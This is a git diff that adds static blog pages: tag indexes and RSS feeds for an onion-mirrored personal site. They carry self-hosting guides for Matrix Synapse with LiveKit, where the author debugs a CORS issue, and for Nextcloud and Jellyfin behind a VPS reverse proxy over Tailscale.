    diff --git a/public-onion/tags/spf/page/1/index.html b/public-onion/tags/spf/page/1/index.html new file mode 100644 index 0000000..c9398ad --- /dev/null +++ b/public-onion/tags/spf/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/spf/ + + + + + + diff --git a/public-onion/tags/synapse/index.html b/public-onion/tags/synapse/index.html new file mode 100644 index 0000000..7b5d727 --- /dev/null +++ b/public-onion/tags/synapse/index.html @@ -0,0 +1,357 @@ + + + + + + + +Synapse | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/synapse/index.xml b/public-onion/tags/synapse/index.xml new file mode 100644 index 0000000..f5c19d8 --- /dev/null +++ b/public-onion/tags/synapse/index.xml @@ -0,0 +1,370 @@ + + + + Synapse on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/ + Recent content in Synapse on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 26 Aug 2025 00:00:00 +0000 + + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/synapse/page/1/index.html b/public-onion/tags/synapse/page/1/index.html new file mode 100644 index 0000000..ac3de3a --- /dev/null +++ b/public-onion/tags/synapse/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/ + + + + + + diff --git a/public-onion/tags/tailscale/index.html b/public-onion/tags/tailscale/index.html new file mode 100644 index 0000000..1085482 --- /dev/null +++ b/public-onion/tags/tailscale/index.html @@ -0,0 +1,379 @@ + + + + + + + +Tailscale | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    +
    +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    +
    +
    December 21, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/tailscale/index.xml b/public-onion/tags/tailscale/index.xml new file mode 100644 index 0000000..1b1afdb --- /dev/null +++ b/public-onion/tags/tailscale/index.xml @@ -0,0 +1,475 @@ + + + + Tailscale on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tailscale/ + Recent content in Tailscale on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 02 Feb 2026 00:00:00 +0000 + + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

